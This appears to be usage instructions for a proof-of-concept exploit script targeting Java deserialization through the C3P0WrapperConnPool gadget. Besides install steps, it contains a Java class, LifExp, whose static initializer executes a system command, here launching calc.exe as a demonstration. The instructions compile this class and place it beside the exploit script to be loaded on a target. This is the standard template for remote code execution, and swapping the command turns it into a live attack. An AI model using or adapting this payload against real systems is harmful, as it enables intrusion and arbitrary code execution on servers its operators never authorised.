Usage: python poc.py -h
Gadget used: C3P0WrapperConnPool
Installation:
pip install requests
pip install bs4
Create file LifExp.java with example content:
public class LifExp {
static {
try {
String[] cmd = {"cmd.exe", "/c", "calc.exe"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
javac LifExp.java
Place poc.py and LifExp.class in the same directory.
